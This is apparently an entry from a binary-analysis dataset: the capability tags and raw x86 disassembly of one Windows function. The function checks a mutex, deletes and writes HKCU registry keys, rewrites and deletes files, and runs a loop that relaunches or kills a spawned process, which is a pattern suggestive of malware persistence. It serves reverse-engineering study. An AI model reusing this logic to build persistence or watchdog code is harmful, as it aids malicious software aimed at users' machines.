Function at 0xc87d44
Capabilities:
Create process on windows
Delete file
Delete registry key
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa0c
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 0x5f4], eax
mov dword [ebp - 0x5ec], eax
mov dword [ebp - 0x5e8], eax
mov dword [ebp - 0x5e4], eax
mov dword [ebp - 0x14], eax
mov eax, 0xc87cb0
call fcn.00c82298
mov edi, 0xc8adcc
xor eax, eax
push ebp
push 0xc88648
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xc87d28
call fcn.00c815b8
mov eax, dword [0xc890e4]
mov byte [eax], 1
push 0x8007
call sub.KERNEL32.DLL_SetErrorMode
push 0x64
call sub.KERNEL32.DLL_Sleep
mov eax, 1
call fcn.00c82f10
mov edx, eax
lea eax, [ebp - 0x14]
call fcn.00c81a24
mov eax, dword [ebp - 0x14]
mov edx, dword [0xc890b8]
call fcn.00c81b50
jne 0xc87df8
push 0
push 0
push 0
xor eax, eax
call fcn.00c82f10
push eax
push 0xc88658
push 0
call sub.shell32.dll_ShellExecuteW_1
push 0
call sub.KERNEL32.DLL_ExitProcess
push 0xc88664
push 0
push 0
call fcn.00c823b0
mov esi, eax
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0xb7
jne 0xc87e1e
push 0x1770
call sub.KERNEL32.DLL_Sleep
push esi
call sub.KERNEL32.DLL_CloseHandle
mov eax, edi
mov edx, 0x5cc
call fcn.00c82650
lea edx, [ebp - 0x5e0]
xor eax, eax
call fcn.00c83820
push edi
lea esi, [ebp - 0x5e0]
mov ecx, 0x173
rep movsd dword es:[edi], dword [esi]
pop edi
mov ecx, 0xc88680
mov eax, edi
mov edx, 0x5cc
call fcn.00c82704
push 0xc88690
push 0x80000001
call sub.shlwapi.dll_SHDeleteKeyW
call fcn.00c82bfc
mov edx, 0xc886b8
call fcn.00c82e98
mov ebx, eax
mov eax, ebx
call fcn.00c82fb4
cmp al, 1
jne 0xc87ea7
lea edx, [edi + 0x2d4]
mov eax, ebx
call fcn.00c82e98
mov ebx, eax
mov edx, 0xc886e0
mov eax, ebx
call fcn.00c82e98
mov ebx, eax
jmp 0xc87ed5
call fcn.00c82bfc
mov edx, 0xc886ec
call fcn.00c82e98
mov ebx, eax
lea edx, [edi + 0x2d4]
mov eax, ebx
call fcn.00c82e98
mov ebx, eax
mov edx, 0xc886e0
mov eax, ebx
call fcn.00c82e98
mov ebx, eax
mov eax, ebx
call fcn.00c830a0
test al, al
je 0xc87f97
push 0x80
push ebx
call sub.KERNEL32.DLL_SetFileAttributesW
mov edx, 0xc8b3a8
mov eax, ebx
call fcn.00c830cc
mov dword [0xc8b3a0], eax
mov dword [0xc8b3a4], edx
mov eax, ebx
call fcn.00c83164
mov ecx, 0xc88680
mov edx, dword [0xc8b3a0]
mov eax, dword [0xc8b3a8]
call fcn.00c82704
mov eax, edi
mov edx, 0x5cc
call fcn.00c82650
mov eax, edi
mov ecx, 0x5cc
mov edx, dword [0xc8b3a8]
call fcn.00c82648
cmp dword [edi + 0x5c8], 0x1e240
je 0xc87f97
push 0x80
push ebx
call sub.KERNEL32.DLL_SetFileAttributesW
push ebx
call sub.KERNEL32.DLL_DeleteFileW
mov eax, edi
mov edx, 0x5cc
call fcn.00c82650
lea edx, [ebp - 0x5e0]
xor eax, eax
call fcn.00c83820
push edi
lea esi, [ebp - 0x5e0]
mov ecx, 0x173
rep movsd dword es:[edi], dword [esi]
pop edi
mov ecx, 0xc88680
mov eax, edi
mov edx, 0x5cc
call fcn.00c82704
push 0x80
push ebx
call sub.KERNEL32.DLL_SetFileAttributesW
push ebx
call sub.KERNEL32.DLL_DeleteFileW
mov eax, 0x5cc
call fcn.00c810f8
mov dword [0xc8b3a8], eax
mov edx, edi
mov ecx, 0x5cc
mov eax, dword [0xc8b3a8]
call fcn.00c82648
mov ecx, 0xc88680
mov edx, 0x5cc
mov eax, dword [0xc8b3a8]
call fcn.00c82704
push 0
push 0x5cc
mov edx, dword [0xc8b3a8]
mov eax, ebx
call fcn.00c82d08
mov eax, ebx
call fcn.00c83164
lea eax, [edi + 0x2d4]
push eax
push 0
push 0
call fcn.00c823b0
mov esi, eax
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0xb7
jne 0xc8801c
push 0
call sub.KERNEL32.DLL_ExitProcess
push esi
call sub.KERNEL32.DLL_CloseHandle
lea eax, [ebp - 0x5e4]
mov edx, ebx
call fcn.00c81a24
mov eax, dword [ebp - 0x5e4]
call fcn.00c81a98
mov ecx, eax
add ecx, ecx
mov eax, 0xc8c1ac
mov edx, ebx
call fcn.00c82648
mov eax, 0xc8b3b0
call fcn.00c87950
push 0xc8b3b0
push 2
lea edx, [edi + 0x2d4]
mov eax, 0xc886f0
call fcn.00c82e98
mov edx, eax
mov ecx, 0xc88704
mov eax, 0x80000001
call fcn.00c82a80
cmp byte [edi + 0x500], 1
jne 0xc88094
call fcn.00c87a00
test al, al
jne 0xc88094
push edi
call fcn.00c87a9c
push 0x20a
push 0xc8b5bc
push 0
call sub.KERNEL32.DLL_GetModuleFileNameW
mov eax, 0xc8b5bc
mov edx, edi
call fcn.00c84158
mov ebx, eax
mov edx, edi
mov eax, ebx
call fcn.00c843c8
mov edx, 0xc88720
mov eax, ebx
call fcn.00c82e98
mov dword [0xc8b398], eax
cmp byte [edi + 0x215], 1
jne 0xc880ea
mov eax, dword [0xc8b398]
call fcn.00c83164
mov eax, dword [0xc8b398]
call fcn.00c83164
mov eax, dword [0xc8b398]
push eax
push 2
lea edx, [edi + 0x2d4]
mov eax, 0xc886f0
call fcn.00c82e98
mov edx, eax
mov ecx, 0xc88724
mov eax, 0x80000001
call fcn.00c82a80
push edi
mov esi, edi
mov edi, 0xc8b7cc
mov ecx, 0x173
rep movsd dword es:[edi], dword [esi]
pop edi
mov eax, dword [0xc8b398]
call fcn.00c82938
mov ecx, eax
add ecx, ecx
mov eax, 0xc8bd98
mov edx, dword [0xc8b398]
call fcn.00c82648
lea edx, [edi + 0x266]
mov eax, 0xc88744
call fcn.00c82e98
mov ebx, eax
mov eax, ebx
call fcn.00c82938
mov ecx, eax
add ecx, ecx
mov eax, 0xc8c3b6
mov edx, ebx
call fcn.00c82648
mov eax, dword [0xc8b398]
call fcn.00c831c8
mov ebx, eax
mov eax, ebx
call fcn.00c82938
mov ecx, eax
add ecx, ecx
mov eax, 0xc8bfa2
mov edx, ebx
call fcn.00c82648
cmp byte [edi + 0x2d2], 1
jne 0xc8822f
lea eax, [edi + 0x322]
push eax
push 0
push 0
call fcn.00c823b0
mov esi, eax
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0xb7
je 0xc88229
push esi
call sub.KERNEL32.DLL_CloseHandle
mov edx, 0xc88720
mov eax, 0xc887b0
call fcn.00c82e98
mov dword [0xc8b39c], eax
mov eax, 0xc8b5bc
mov edx, 0x20a
call fcn.00c82650
mov eax, dword [0xc8b39c]
call fcn.00c82938
mov ecx, eax
add ecx, ecx
mov eax, 0xc8b5bc
mov edx, dword [0xc8b39c]
call fcn.00c82648
mov edx, 0xc8c7cc
mov eax, 0xc8b5bc
call fcn.00c83790
mov dword [0xc8b3ac], eax
mov ecx, 0xc8b7cc
mov edx, 0xc87624
mov eax, dword [0xc8b3ac]
call fcn.00c836e8
jmp 0xc8822f
push esi
call sub.KERNEL32.DLL_CloseHandle
lea eax, [ebp - 0x5e8]
lea edx, [edi + 0x216]
mov ecx, 0x11
call fcn.00c81a6c
mov eax, dword [ebp - 0x5e8]
mov edx, dword [0xc890c0]
call fcn.00c81b50
jne 0xc88264
xor eax, eax
mov dword [0xc8b3ac], eax
jmp 0xc8834b
lea eax, [ebp - 0x5ec]
lea edx, [edi + 0x216]
mov ecx, 0x11
call fcn.00c81a6c
mov eax, dword [ebp - 0x5ec]
mov edx, dword [0xc890bc]
call fcn.00c81b50
jne 0xc882b0
call fcn.00c82b84
mov dword [0xc8b39c], eax
mov edx, 0xc8c7cc
mov eax, dword [0xc8b39c]
call fcn.00c83790
mov dword [0xc8b3ac], eax
jmp 0xc8834b
mov edx, 0xc88720
lea eax, [edi + 0x216]
call fcn.00c82e98
mov dword [0xc8b39c], eax
mov edx, 0xc8c7cc
mov eax, dword [0xc8b39c]
call fcn.00c83790
mov dword [0xc8b3ac], eax
cmp dword [0xc8b3ac], 0
jne 0xc8834b
mov edx, 0xc8b3ac
mov eax, dword [0xc8b39c]
call fcn.00c83544
test al, al
jne 0xc88301
call fcn.00c82b84
mov dword [0xc8b39c], eax
jmp 0xc88310
mov eax, dword [0xc8b3ac]
call fcn.00c83600
mov dword [0xc8b39c], eax
mov edx, 0xc8c7cc
mov eax, dword [0xc8b39c]
call fcn.00c83790
mov dword [0xc8b3ac], eax
cmp dword [0xc8b3ac], 0
jne 0xc8834b
call fcn.00c82b84
mov dword [0xc8b39c], eax
mov edx, 0xc8c7cc
mov eax, dword [0xc8b39c]
call fcn.00c83790
mov dword [0xc8b3ac], eax
xor eax, eax
mov dword [0xc8b7c8], eax
xor eax, eax
mov dword [0xc8b3a8], eax
cmp byte [edi + 0x214], 0
je 0xc883db
mov ebx, dword [0xc8b398]
xor eax, eax
call fcn.00c82f10
mov edx, 0xc88720
call fcn.00c82e98
mov esi, eax
mov eax, ebx
call fcn.00c82938
mov ecx, eax
mov edx, esi
mov eax, ebx
call fcn.00c83450
test al, al
jne 0xc883db
push 0x80
push esi
call sub.KERNEL32.DLL_SetFileAttributesW
mov eax, esi
call fcn.00c82938
mov ecx, eax
add ecx, ecx
mov eax, 0xc8c5c0
mov edx, esi
call fcn.00c82648
mov edx, 0xc88720
mov eax, 0xc887c8
call fcn.00c82e98
mov edx, 0xc8c7cc
call fcn.00c83790
mov ecx, 0xc8c5c0
mov edx, 0xc879b4
call fcn.00c836e8
mov eax, 0xc8c1ac
call fcn.00c831c8
mov edx, 0xc8baa0
call fcn.00c82e98
mov edx, dword [0xc890d4]
mov dword [edx], eax
mov edx, 0xc887e4
mov eax, dword [0xc890d4]
mov eax, dword [eax]
call fcn.00c82e98
mov edx, dword [0xc890d4]
mov dword [edx], eax
mov eax, dword [0xc890d4]
mov eax, dword [eax]
call fcn.00c830a0
test al, al
je 0xc884f6
mov eax, 0xc887f0
call fcn.00c87050
cmp al, 1
jne 0xc884f6
cmp dword [0xc8b3ac], 0
jne 0xc88464
push 0x20a
push 0xc8b5bc
push 0
call sub.KERNEL32.DLL_GetModuleFileNameW
mov edx, 0xc8c7cc
mov eax, 0xc8b5bc
call fcn.00c83790
mov dword [0xc8b3ac], eax
mov ecx, 0xc887fc
mov edx, dword [0xc890c8]
mov edx, dword [edx]
sub edx, 0x1e
mov eax, dword [0xc890cc]
mov eax, dword [eax]
call fcn.00c82704
push 0xc8baa0
push 2
call sub.KERNEL32.DLL_GetCurrentProcessId
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5f4]
call fcn.00c82904
mov ecx, dword [ebp - 0x5f4]
lea eax, [ebp - 0x5f0]
mov edx, 0xc88810
call fcn.00c81aa4
mov eax, dword [ebp - 0x5f0]
call fcn.00c81a88
mov edx, eax
mov ecx, 0xc88824
mov eax, 0x80000001
call fcn.00c82a80
push 0xc8c7cc
mov ecx, 0xc8b3ac
mov eax, dword [0xc890cc]
mov eax, dword [eax]
xor edx, edx
call fcn.00c83e44
push 0x3e8
call sub.KERNEL32.DLL_Sleep
push 0
call sub.KERNEL32.DLL_ExitProcess
cmp dword [0xc8b3ac], 0
jne 0xc88515
mov eax, edi
call fcn.00c8393c
push 0xc8b7cc
call fcn.00c8730c
jmp 0xc88622
mov ecx, 0xc8b7cc
mov edx, fcn.00c8730c
mov eax, dword [0xc8b3ac]
call fcn.00c836e8
mov dword [0xc8b3a8], eax
push 0x1f4
call sub.KERNEL32.DLL_Sleep
cmp dword [0xc8b3a8], 0
jne 0xc88568
mov eax, dword [0xc890c4]
mov eax, dword [eax]
push eax
mov eax, dword [0xc8b3ac]
push eax
call sub.KERNEL32.DLL_TerminateProcess
mov edx, 0xc8c7cc
mov eax, dword [0xc8b39c]
call fcn.00c83790
mov dword [0xc8b3ac], eax
inc dword [0xc8b7c8]
lea eax, [edi + 0x2d4]
push eax
push 0
push 0
call fcn.00c823b0
mov esi, eax
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0xb7
sete bl
push esi
call sub.KERNEL32.DLL_CloseHandle
test bl, bl
jne 0xc885be
mov eax, dword [0xc890c4]
mov eax, dword [eax]
push eax
mov eax, dword [0xc8b3ac]
push eax
call sub.KERNEL32.DLL_TerminateProcess
mov edx, 0xc8c7cc
mov eax, dword [0xc8b39c]
call fcn.00c83790
mov dword [0xc8b3ac], eax
cmp dword [0xc8b7c8], 7
jge 0xc885d0
cmp bl, 1
jne 0xc88515
mov eax, edi
call fcn.00c8393c
cmp dword [0xc8b3a8], 0
jne 0xc885fd
mov eax, dword [0xc890c4]
mov eax, dword [eax]
push eax
mov eax, dword [0xc8b3ac]
push eax
call sub.KERNEL32.DLL_TerminateProcess
push 0xc8b7cc
call fcn.00c8730c
cmp dword [0xc8b7c8], 7
jl 0xc88622
test bl, bl
jne 0xc88622
push 0
push 0
push 0
mov eax, dword [0xc8b398]
push eax
push 0xc88658
push 0
call sub.shell32.dll_ShellExecuteW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0xc8864f
lea eax, [ebp - 0x5f4]
mov edx, 5
call fcn.00c81924
lea eax, [ebp - 0x14]
call fcn.00c8190c
ret